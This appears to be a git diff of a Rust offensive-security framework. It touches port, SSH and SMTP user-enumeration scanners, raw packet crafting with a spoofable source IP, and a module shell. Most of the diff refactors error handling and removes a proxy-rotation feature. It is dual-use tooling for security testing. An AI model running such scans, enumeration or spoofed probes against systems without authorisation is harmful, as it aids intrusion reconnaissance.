@@ -888,7 +888,7 @@ async fn ack_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result
const IPV4_HEADER_LEN: usize = 20;
let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
let mut ip_buf = vec![0u8; total_len as usize];
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).ok_or_else(|| anyhow!("Failed to create IP packet"))?;
ip_pkt.set_version(4);
ip_pkt.set_header_length(5);
ip_pkt.set_total_length(total_len);
+22 -22
View File
@@ -172,12 +172,12 @@ pub async fn run_with_settings(
println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold());
println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan());
writeln!(file.lock().unwrap(), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
let timestamp = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.unwrap_or(Duration::from_secs(0))
.as_secs();
writeln!(file.lock().unwrap(), "Scan started at: {}\n", timestamp)?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Scan started at: {}\n", timestamp)?;
// TCP Scan
println!("{}", "\n[*] Starting TCP scan...".yellow());
@@ -196,8 +196,8 @@ pub async fn run_with_settings(
let _permit = permit;
let result = scan_tcp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
let mut stats_guard = stats.lock().unwrap_or_else(|e| e.into_inner());
let mut progress_guard = progress.lock().unwrap_or_else(|e| e.into_inner());
if let Some((status, banner, service)) = result {
match status.as_str() {
@@ -207,7 +207,7 @@ pub async fn run_with_settings(
let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line);
}
let output_line = if !banner.is_empty() {
@@ -216,7 +216,7 @@ pub async fn run_with_settings(
line
};
let _ = writeln!(file.lock().unwrap(), "{}", output_line);
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", output_line);
println!("{}", output_line);
}
"CLOSED" => stats_guard.tcp_closed += 1,
@@ -250,8 +250,8 @@ pub async fn run_with_settings(
let _permit = permit;
let result = scan_udp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
let mut stats_guard = stats.lock().unwrap_or_else(|e| e.into_inner());
let mut progress_guard = progress.lock().unwrap_or_else(|e| e.into_inner());
if let Some(status) = result {
match status.as_str() {
@@ -261,10 +261,10 @@ pub async fn run_with_settings(
let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line);
}
let _ = writeln!(file.lock().unwrap(), "{}", line);
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line);
println!("{}", line);
}
"CLOSED" => stats_guard.udp_closed += 1,
@@ -291,7 +291,7 @@ pub async fn run_with_settings(
}
let elapsed = start_time.elapsed();
let stats = stats.lock().unwrap();
let stats = stats.lock().unwrap_or_else(|e| e.into_inner());
// Print summary
println!("\n{}", "=== Scan Summary ===".cyan().bold());
@@ -311,17 +311,17 @@ pub async fn run_with_settings(
println!("\n{}", format!("[*] Results saved to {}", output_file).cyan());
// Write summary to file
writeln!(file.lock().unwrap(), "\n=== Scan Summary ===")?;
writeln!(file.lock().unwrap(), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
writeln!(file.lock().unwrap(), "\nTCP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.tcp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.tcp_closed)?;
writeln!(file.lock().unwrap(), " Filtered/Timeout: {}", stats.tcp_filtered)?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\n=== Scan Summary ===")?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\nTCP Ports:")?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Open: {}", stats.tcp_open)?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Closed: {}", stats.tcp_closed)?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Filtered/Timeout: {}", stats.tcp_filtered)?;
if scan_udp_enabled {
writeln!(file.lock().unwrap(), "\nUDP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.udp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.udp_closed)?;
writeln!(file.lock().unwrap(), " Filtered: {}", stats.udp_filtered)?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\nUDP Ports:")?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Open: {}", stats.udp_open)?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Closed: {}", stats.udp_closed)?;
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Filtered: {}", stats.udp_filtered)?;
}
Ok(())
+8 -8
View File
@@ -291,7 +291,7 @@ async fn run_smtp_user_enum(config: SmtpUserEnumConfig) -> Result<()> {
.green()
.bold()
);
let mut users = found.lock().unwrap();
let mut users = found.lock().unwrap_or_else(|e| e.into_inner());
users.push((
format!("{}@{}", username, raw_target),
response.trim().to_string(),
@@ -312,7 +312,7 @@ async fn run_smtp_user_enum(config: SmtpUserEnumConfig) -> Result<()> {
let msg = e.to_string();
if msg.starts_with("Unknown VRFY response for '") {
{
let mut unk = unknown.lock().unwrap();
let mut unk = unknown.lock().unwrap_or_else(|e| e.into_inner());
unk.push((
format!("{}@{}", username, raw_target),
msg.clone(),
@@ -434,7 +434,7 @@ async fn run_smtp_user_enum(config: SmtpUserEnumConfig) -> Result<()> {
.green()
.bold()
);
let mut users = found.lock().unwrap();
let mut users = found.lock().unwrap_or_else(|e| e.into_inner());
users.push((
format!("{}@{}", username, raw_target),
response.trim().to_string(),
@@ -455,7 +455,7 @@ async fn run_smtp_user_enum(config: SmtpUserEnumConfig) -> Result<()> {
let msg = e.to_string();
if msg.starts_with("Unknown VRFY response for '") {
{
let mut unk = unknown.lock().unwrap();
let mut unk = unknown.lock().unwrap_or_else(|e| e.into_inner());
unk.push((
format!("{}@{}", username, raw_target),
msg.clone(),
@@ -641,7 +641,7 @@ async fn finalize_and_report(
// Print final statistics
stats.print_final();
let found_guard = found.lock().unwrap();
let found_guard = found.lock().unwrap_or_else(|e| e.into_inner());
if found_guard.is_empty() {
println!("{}", "[-] No valid usernames found.".yellow());
} else {
@@ -670,7 +670,7 @@ async fn finalize_and_report(
}
drop(found_guard);
let unknown_guard = unknown.lock().unwrap();
let unknown_guard = unknown.lock().unwrap_or_else(|e| e.into_inner());
if !unknown_guard.is_empty() {
println!(
"{}",
@@ -842,12 +842,12 @@ async fn prompt_wordlist(message: &str) -> Result<String> {
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$").unwrap();
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$").expect("Invalid regex");
let t = host.trim();
let cap = re
.captures(t)
.ok_or_else(|| anyhow!("Invalid target: {}", host))?;
let addr = cap.get(1).unwrap().as_str();
let addr = cap.get(1).map(|m| m.as_str()).ok_or_else(|| anyhow!("Target address missing"))?;
let p = cap
.get(2)
.map(|m| m.as_str().parse::<u16>().ok())
+3 -2
View File
@@ -259,8 +259,8 @@ pub async fn scan_ssh(
let results = Arc::clone(&results);
let stats = Arc::clone(&stats);
let handle = tokio::spawn(async move {
let _permit = semaphore.acquire().await.unwrap();
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
let host_clone = host.clone();
let result = spawn_blocking(move || {
@@ -286,6 +286,7 @@ pub async fn scan_ssh(
stats.record_scan(false, true);
}
}
Ok(())
});
handles.push(handle);
@@ -21,7 +21,7 @@ use socket2::{Domain, Protocol, Socket, Type};
use colored::*;
use anyhow::{Result, Context, bail};
use anyhow::{Result, Context, anyhow, bail};
use std::mem::MaybeUninit;
@@ -131,19 +131,19 @@ fn craft_probe_packet(
let (transport_header_len, transport_packet_data) = match protocol_type {
ProbeProtocolType::Icmp => {
let mut buf = vec![0u8; 8 + payload.len()];
let mut pkt = echo_request::MutableEchoRequestPacket::new(&mut buf).unwrap();
let mut pkt = echo_request::MutableEchoRequestPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create EchoRequest"))?;
pkt.set_icmp_type(IcmpTypes::EchoRequest);
pkt.set_icmp_code(echo_request::IcmpCodes::NoCode);
pkt.set_identifier(icmp_id_val);
pkt.set_sequence_number(icmp_seq_val);
pkt.set_payload(&payload);
let view = IcmpPacket::new(pkt.packet()).unwrap();
let view = IcmpPacket::new(pkt.packet()).ok_or_else(|| anyhow!("Failed to create ICMP view"))?;
pkt.set_checksum(icmp::checksum(&view));
(buf.len(), buf)
}
ProbeProtocolType::Udp => {
let mut buf = vec![0u8; 8 + payload.len()];
let mut pkt = MutableUdpPacket::new(&mut buf).unwrap();
let mut pkt = MutableUdpPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create UDP packet"))?;
pkt.set_source(rng.random_range(33434..=65535));
pkt.set_destination(rng.random_range(33434..=65535));
pkt.set_length((8 + payload.len()) as u16);
@@ -154,7 +154,7 @@ fn craft_probe_packet(
}
ProbeProtocolType::Tcp => {
let mut buf = vec![0u8; 20 + payload.len()];
let mut pkt = MutableTcpPacket::new(&mut buf).unwrap();
let mut pkt = MutableTcpPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create TCP packet"))?;
pkt.set_source(rng.random_range(33434..=65535));
pkt.set_destination(rng.random_range(33434..=65535));
pkt.set_sequence(rng.random());
@@ -174,11 +174,11 @@ fn craft_probe_packet(
let mut ip_buf = vec![0u8; total_len as usize];
let src_ip = src_ip_override
.or_else(|| SPOOF_SRC_IP_CONFIG.map(str::parse).transpose().unwrap())
.or_else(|| SPOOF_SRC_IP_CONFIG.map(str::parse).transpose().expect("Invalid SPOOF_SRC_IP_CONFIG"))
.unwrap_or(Ipv4Addr::new(0,0,0,0));
{
let mut ip = MutableIpv4Packet::new(&mut ip_buf).unwrap();
let mut ip = MutableIpv4Packet::new(&mut ip_buf).ok_or_else(|| anyhow!("Failed to create IPv4 packet"))?;
ip.set_version(4);
ip.set_header_length(5);
ip.set_total_length(total_len);
@@ -193,7 +193,7 @@ fn craft_probe_packet(
if sig.df_flag {
flags |= IPV4_FLAG_DF;
}
ip.set_flags(flags.try_into().unwrap());
ip.set_flags(flags.try_into().unwrap_or(0));
ip.set_payload(&transport_packet_data);
ip.set_checksum(ipv4::checksum(&ip.to_immutable()));
}
@@ -242,7 +242,7 @@ async fn send_and_receive_one(
return Ok(None);
}
let sock_clone = receiver_socket.try_clone().expect("Socket clone failed");
let sock_clone = receiver_socket.try_clone().context("Socket clone failed")?;
let recv = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
match sock_clone.recv_from(&mut buf) {
+61 -509
View File
@@ -3,27 +3,20 @@ use crate::utils;
use crate::config;
use anyhow::Result;
use colored::*;
use rand::prelude::*;
use std::env;
use std::io::{self, Write};
use std::collections::HashSet;
use std::sync::Mutex;
use url::Url;
const MAX_INPUT_LENGTH: usize = 4096;
const MAX_PROXY_LIST_SIZE: usize = 10_000;
const MAX_TARGET_LENGTH: usize = 512;
const MAX_COMMAND_CHAIN_LENGTH: usize = 10;
const MAX_URL_LENGTH: usize = 2048;
const MAX_PATH_LENGTH: usize = 4096;
const MAX_PROMPT_INPUT_LENGTH: usize = 1024;
/// Simple interactive shell context
struct ShellContext {
current_module: Option<String>,
current_target: Option<String>,
proxy_list: Vec<String>,
proxy_enabled: bool,
}
impl ShellContext {
@@ -31,8 +24,6 @@ impl ShellContext {
ShellContext {
current_module: None,
current_target: None,
proxy_list: Vec::new(),
proxy_enabled: false,
}
}
}
@@ -108,7 +99,7 @@ pub async fn interactive_shell() -> Result<()> {
match command_key.as_str() {
"exit" => {
println!("Exiting...");
clear_proxy_env_vars();
println!("Exiting...");
break 'main_loop;
}
"back" => {
@@ -151,134 +142,7 @@ pub async fn interactive_shell() -> Result<()> {
utils::find_modules(&rest);
}
}
"proxy_load" => {
let file_path = if rest.is_empty() {
match prompt_for_path("Path to proxy list file: ") {
Ok(path) => path,
Err(e) => {
println!("{}", format!("[!] Error reading input: {}", e).red());
continue;
}
}
} else {
rest.to_string()
};
match utils::load_proxies_from_file(&file_path) {
Ok(summary) => {
let mut unique = HashSet::new();
let mut deduped = Vec::new();
for proxy in summary.proxies.iter() {
if unique.insert(proxy.clone()) {
deduped.push(proxy.clone());
}
}
if deduped.len() > MAX_PROXY_LIST_SIZE {
println!(
"{}",
format!(
"[!] Loaded proxy list exceeded {} entries. Truncating.",
MAX_PROXY_LIST_SIZE
)
.yellow()
);
deduped.truncate(MAX_PROXY_LIST_SIZE);
}
let removed = summary.proxies.len().saturating_sub(deduped.len());
if removed > 0 {
println!(
"{}",
format!(
"[*] Removed {} duplicate proxy entr{}.",
removed,
if removed == 1 { "y" } else { "ies" }
)
.dimmed()
);
}
ctx.proxy_list = deduped;
println!(
"Loaded {} proxies from '{}'.",
ctx.proxy_list.len(),
file_path
);
if !summary.skipped.is_empty() {
println!(
"{}",
format!(
"Skipped {} invalid entr{}:",
summary.skipped.len(),
if summary.skipped.len() == 1 { "y" } else { "ies" }
)
.yellow()
);
for failure in summary.skipped.iter().take(10) {
println!(
" [line {}] {} ({})",
failure.line_number,
failure.content,
failure.reason
);
}
if summary.skipped.len() > 10 {
println!(
" ... {} additional entr{} skipped.",
summary.skipped.len() - 10,
if summary.skipped.len() - 10 == 1 {
"y"
} else {
"ies"
}
);
}
}
match prompt_yes_no("Test connectivity of loaded proxies? (recommended)", true) {
Ok(true) => {
if let Err(e) = test_current_proxies(&mut ctx).await {
println!("{}", format!("[!] Proxy testing failed: {}", e).red());
}
}
Ok(false) => {}
Err(e) => {
println!("{}", format!("[!] Error reading input: {}", e).red());
}
}
}
Err(e) => {
println!("Failed to load proxies: {}", e);
}
}
}
"proxy_on" => {
ctx.proxy_enabled = true;
println!("Proxy usage enabled.");
}
"proxy_off" => {
ctx.proxy_enabled = false;
println!("Proxy usage disabled.");
clear_proxy_env_vars();
}
"proxy_test" => {
if let Err(e) = test_current_proxies(&mut ctx).await {
println!("{}", format!("[!] Proxy testing failed: {}", e).red());
}
}
"show_proxies" => {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
} else {
println!("Loaded proxies ({}):", ctx.proxy_list.len());
for p in &ctx.proxy_list {
println!(" {}", p);
}
}
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
}
"use" => {
if rest.is_empty() {
println!("{}", "Usage: use <module_path>".yellow());
@@ -298,47 +162,51 @@ pub async fn interactive_shell() -> Result<()> {
}
}
"set" => {
// Handle "set target <value>" - require "target " prefix with space
if rest.starts_with("target ") {
let raw_value = rest.strip_prefix("target ").unwrap_or(&rest).trim();
if raw_value.is_empty() {
println!("{}", "Usage: set target <value>".yellow());
println!("{}", " Examples:".dimmed());
println!("{}", " set target 192.168.1.1".dimmed());
println!("{}", " set target 192.168.1.0/24".dimmed());
println!("{}", " set target example.com".dimmed());
continue;
}
match sanitize_target(raw_value) {
Ok(valid_target) => {
// Set both local context and global config
ctx.current_target = Some(valid_target.clone());
match config::GLOBAL_CONFIG.set_target(&valid_target) {
Ok(_) => {
if config::GLOBAL_CONFIG.is_subnet() {
println!("{}", format!("Global target set to subnet: {}", valid_target).green());
} else {
println!("{}", format!("Global target set to: {}", valid_target).green());
}
println!("{}", format!("Local target set to: {}", valid_target).green());
}
Err(e) => {
println!("{}", format!("[!] Failed to set global target: {}", e).red());
// Still set local target
println!("{}", format!("Local target set to: {}", valid_target).green());
// Handle shortcuts: "target <val>", "t <val>", "set target <val>", "set t <val>"
let raw_value = if cmd == "target" || cmd == "t" {
&rest
} else if let Some(val) = rest.strip_prefix("target ") {
val
} else if let Some(val) = rest.strip_prefix("t ") {
val
} else {
""
};
let raw_value = raw_value.trim();
if raw_value.is_empty() {
println!("{}", "Usage: set target <value>".yellow());
println!("{}", " Shortcuts: t <value>, target <value>".dimmed());
println!("{}", " Examples:".dimmed());
println!("{}", " t 192.168.1.1".dimmed());
println!("{}", " set target example.com".dimmed());
continue;
}
match sanitize_target(raw_value) {
Ok(valid_target) => {
// Set both local context and global config
ctx.current_target = Some(valid_target.clone());
match config::GLOBAL_CONFIG.set_target(&valid_target) {
Ok(_) => {
if config::GLOBAL_CONFIG.is_subnet() {
println!("{}", format!("Global target set to subnet: {}", valid_target).green());
} else {
println!("{}", format!("Global target set to: {}", valid_target).green());
}
println!("{}", format!("Local target set to: {}", valid_target).green());
}
Err(e) => {
println!("{}", format!("[!] Failed to set global target: {}", e).red());
// Still set local target
println!("{}", format!("Local target set to: {}", valid_target).green());
}
}
Err(reason) => {
println!("{}", format!("[!] {}", reason).yellow());
}
}
} else {
println!("{}", "Usage: set target <value>".yellow());
println!("{}", " Examples:".dimmed());
println!("{}", " set target 192.168.1.1".dimmed());
println!("{}", " set target 192.168.1.0/24".dimmed());
println!("{}", " set target example.com".dimmed());
Err(reason) => {
println!("{}", format!("[!] {}", reason).yellow());
}
}
}
"run" => {
@@ -412,55 +280,16 @@ pub async fn interactive_shell() -> Result<()> {
};
if let Some(ref t) = target {
// Perform honeypot check before running module
// Perform honeypot check before running module
utils::basic_honeypot_check(t).await;
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
println!("[*] Using proxy: {}", chosen_proxy);
println!("Running module '{}' against target '{}'", module_path, t);
match commands::run_module(module_path, t).await {
Ok(_) => {
success = true;
break;
}
Err(e) => {
eprintln!("[!] Module failed with error: {:?}", e);
eprintln!(" Retrying with a new proxy...");
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
println!("[!] All proxies failed. Trying direct connection...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Final direct attempt also failed: {:?}", e);
}
}
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
clear_proxy_env_vars();
// Honeypot check already done above
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
} else {
clear_proxy_env_vars();
// Honeypot check already done above
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
println!("Running module '{}' against target '{}'", module_path, t);
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
} else {
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
println!("{}", "No target set. Use 'set target <value>' (or 't <value>') first.".yellow());
println!("{}", " Examples:".dimmed());
println!("{}", " set target 192.168.1.1".dimmed());
println!("{}", " set target 192.168.1.0/24".dimmed());
@@ -495,46 +324,15 @@ pub async fn interactive_shell() -> Result<()> {
for (idx, ip) in ips.iter().enumerate() {
println!("\n{}", format!("[{}/{}] Running against: {}", idx + 1, total, ip).yellow());
// Perform honeypot check before running module
// Perform honeypot check before running module
utils::basic_honeypot_check(ip).await;
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
match commands::run_module(module_path, ip).await {
Ok(_) => {
success = true;
success_count += 1;
break;
}
Err(e) => {
if tried_proxies.is_empty() {
eprintln!("[!] Module failed: {:?}", e);
}
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
match commands::run_module(module_path, ip).await {
Ok(_) => success_count += 1,
Err(e) => {
eprintln!("[!] Module failed: {:?}", e);
fail_count += 1;
if ctx.proxy_list.len() == tried_proxies.len() {
println!("{}", "[!] All proxies failed for this target".red());
}
}
} else {
clear_proxy_env_vars();
match commands::run_module(module_path, ip).await {
Ok(_) => success_count += 1,
Err(e) => {
eprintln!("[!] Module failed: {:?}", e);
fail_count += 1;
}
}
}
}
@@ -568,49 +366,7 @@ pub async fn interactive_shell() -> Result<()> {
Ok(())
}
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
let mut rng = rand::rng();
let choices: Vec<&String> = proxy_list
.iter()
.filter(|p| !tried_proxies.contains(*p))
.collect();
if let Some(choice) = choices.choose(&mut rng) {
(*choice).clone()
} else {
// Fallback if all have been tried
proxy_list.choose(&mut rng)
.map(|s| s.clone())
.unwrap_or_else(|| "http://127.0.0.1:8080".to_string()) // Default safe fallback if list is somehow empty but passed check
}
}
// Thread-safe environment variable access
static ENV_MUTEX: Mutex<()> = Mutex::new(());
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
/// Thread-safe wrapper around env::set_var
fn set_all_proxy_env(proxy: &str) {
let _guard = ENV_MUTEX.lock().unwrap();
// Safety: This is a localized environment variable change.
// We use a mutex to prevent race conditions with other threads reading/writing env vars.
unsafe {
env::set_var("ALL_PROXY", proxy);
}
}
/// Clears environment variables for direct connection
/// Thread-safe wrapper around env::remove_var
fn clear_proxy_env_vars() {
let _guard = ENV_MUTEX.lock().unwrap();
// Safety: Similar to set_all_proxy_env, we guard this with a mutex.
unsafe {
env::remove_var("ALL_PROXY");
env::remove_var("HTTP_PROXY");
env::remove_var("HTTPS_PROXY");
}
}
fn split_command(input: &str) -> Option<(String, String)> {
let mut parts = input.splitn(2, char::is_whitespace);
@@ -624,13 +380,9 @@ fn resolve_command(cmd: &str) -> String {
"?" | "help" | "h" => "help",
"modules" | "list" | "ls" | "m" => "modules",
"find" | "search" | "f" | "f1" => "find",
"proxy_load" | "proxyload" | "pl" | "load_proxy" | "loadproxies" => "proxy_load",
"proxy_on" | "pon" | "proxyon" => "proxy_on",
"proxy_off" | "poff" | "proxyoff" => "proxy_off",
"proxy_test" | "ptest" | "proxycheck" | "check_proxies" => "proxy_test",
"show_proxies" | "proxies" | "pshow" | "proxy_show" => "show_proxies",
"use" | "u" => "use",
"set" | "target" => "set",
"set" | "target" | "t" => "set",
"show_target" | "showtarget" | "st" => "show_target",
"clear_target" | "cleartarget" | "ct" => "clear_target",
"run" | "go" | "exec" => "run",
@@ -697,17 +449,12 @@ fn render_help() {
("modules", "modules | ls | m", "List available modules"),
("find", "find <kw> | f1 <kw>", "Search modules by keyword"),
("use", "use <path> | u <path>", "Select a module to run"),
("set target", "set target <value>", "Set global target (IP/subnet) for all modules"),
("show_target", "show_target | target", "Show current local and global targets"),
("set target", "set target <val> | t <val>", "Set global target (IP/subnet)"),
("show_target", "show_target | st", "Show current local and global targets"),
("clear_target", "clear_target", "Clear local and global targets"),
("run", "run | go", "Execute selected module (with proxy rotation)"),
("run_all", "run_all | runall | ra", "Run module against all IPs in subnet (max 65536)"),
("back", "back | b | clear | reset", "Clear current module and target"),
("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
("proxy_on", "proxy_on | pon", "Enable proxy usage"),
("proxy_off", "proxy_off | poff", "Disable proxy usage"),
("proxy_test", "proxy_test | ptest", "Validate loaded proxies"),
("show_proxies", "show_proxies | proxies", "Display proxy status"),
("exit", "exit | quit | q", "Leave the shell"),
];
@@ -725,7 +472,7 @@ fn render_help() {
println!(" - Example: {}", "set target 10.0.0.1 & use scanners/smtp_user_enum & run".cyan());
println!(" - Spacing around '&' is optional: {}", "use exploits/sample&run".cyan());
println!(" - Targets and paths must not contain control characters or '..' (basic safety checks).");
println!(" - Proxy rotation is automatic when 'proxy_on' is enabled and a proxy list is loaded.");
println!(" - Honeypot detection runs automatically before module execution to warn about suspicious targets.");
println!(" - Target normalization supports IPv4, IPv6, hostnames, URLs, and CIDR notation.");
println!();
@@ -737,95 +484,9 @@ fn render_help() {
println!();
}
async fn test_current_proxies(ctx: &mut ShellContext) -> Result<()> {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded to test.");
return Ok(());
}
let total = ctx.proxy_list.len();
let test_url = prompt_string_default("Proxy test URL", "https://example.com")?;
let timeout_secs = prompt_u64("Proxy test timeout (seconds)", 5)?;
let max_parallel = prompt_usize("Max concurrent proxy tests", 10)?;
println!(
"[*] Testing {} proxy entr{} (timeout: {}s, concurrency: {})",
total,
if total == 1 { "y" } else { "ies" },
timeout_secs,
max_parallel
);
let summary = utils::test_proxies(&ctx.proxy_list, &test_url, timeout_secs, max_parallel).await;
let working_count = summary.working.len();
let failed = summary.failed;
let working = summary.working;
if working_count == 0 {
println!("{}", "[-] No proxies passed the connectivity test.".red());
} else {
println!(
"{}",
format!("[+] {} proxies passed the connectivity test.", working_count).green()
);
}
if !failed.is_empty() {
println!(
"{}",
format!("[-] {} proxies failed validation:", failed.len()).yellow()
);
for failure in &failed {
println!(" {} -> {}", failure.proxy, failure.reason);
}
}
ctx.proxy_list = working;
if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] Proxy list is empty after testing. Disabling proxy usage.");
ctx.proxy_enabled = false;
clear_proxy_env_vars();
}
Ok(())
}
fn prompt_for_path(message: &str) -> io::Result<String> {
loop {
print!("{}", message);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
// Length check
if input.len() > MAX_PATH_LENGTH {
println!("{}", format!("Path too long (max {} characters).", MAX_PATH_LENGTH).yellow());
continue;
}
let value = input.trim();
if value.is_empty() {
println!("Path cannot be empty. Please try again.");
continue;
}
// Check for control characters
if value.chars().any(|c| c.is_control()) {
println!("{}", "Path cannot contain control characters.".yellow());
continue;
}
// Basic path traversal check
if value.contains("..") {
println!("{}", "Path cannot contain '..' (path traversal).".yellow());
continue;
}
return Ok(value.to_string());
}
}
fn prompt_string_default(message: &str, default: &str) -> io::Result<String> {
print!("{} [{}]: ", message, default);
@@ -867,117 +528,8 @@ fn prompt_string_default(message: &str, default: &str) -> io::Result<String> {
Ok(trimmed.to_string())
}
fn prompt_yes_no(message: &str, default_yes: bool) -> io::Result<bool> {
let default_hint = if default_yes { "Y/n" } else { "y/N" };
let mut attempts = 0;
const MAX_ATTEMPTS: u8 = 10;
loop {
attempts += 1;
if attempts > MAX_ATTEMPTS {
println!("{}", "Too many invalid attempts. Using default.".yellow());
return Ok(default_yes);
}
print!("{} [{}]: ", message, default_hint);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
// Length check - y/n should be very short
if input.len() > 10 {
println!("{}", "Please answer with 'y' or 'n'.".yellow());
continue;
}
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Please answer with 'y' or 'n'."),
}
}
}
fn prompt_u64(message: &str, default: u64) -> io::Result<u64> {
let mut attempts = 0;
const MAX_ATTEMPTS: u8 = 10;
loop {
attempts += 1;
if attempts > MAX_ATTEMPTS {
println!("{}", "Too many invalid attempts. Using default.".yellow());
return Ok(default);
}
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
// Length check - numbers shouldn't be too long
if input.len() > 20 {
println!("{}", "Number too long. Please enter a valid positive integer.".yellow());
continue;
}
let trimmed = input.trim();
if trimmed.is_empty() {
return Ok(default);
}
// Only allow digits
if !trimmed.chars().all(|c| c.is_ascii_digit()) {
println!("Invalid number. Please enter a positive integer.");
continue;
}
match trimmed.parse::<u64>() {
Ok(value) if value > 0 => return Ok(value),
Ok(_) => println!("Number must be greater than 0."),
Err(_) => println!("Number too large. Please enter a smaller value."),
}
}
}
fn prompt_usize(message: &str, default: usize) -> io::Result<usize> {
let mut attempts = 0;
const MAX_ATTEMPTS: u8 = 10;
loop {
attempts += 1;
if attempts > MAX_ATTEMPTS {
println!("{}", "Too many invalid attempts. Using default.".yellow());
return Ok(default);
}
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
// Length check - numbers shouldn't be too long
if input.len() > 20 {
println!("{}", "Number too long. Please enter a valid positive integer.".yellow());
continue;
}
let trimmed = input.trim();
if trimmed.is_empty() {
return Ok(default);
}
// Only allow digits
if !trimmed.chars().all(|c| c.is_ascii_digit()) {
println!("Invalid number. Please enter a positive integer.");
continue;
}
match trimmed.parse::<usize>() {
Ok(value) if value > 0 => return Ok(value),
Ok(_) => println!("Number must be greater than 0."),
Err(_) => println!("Number too large. Please enter a smaller value."),
}
}
}
-365
View File
@@ -4,12 +4,7 @@ use colored::*;
use std::fs;
use std::io::{BufRead, BufReader, Write}; // Added Write for flush()
use std::path::Path;
use std::sync::Arc;
use std::time::Duration;
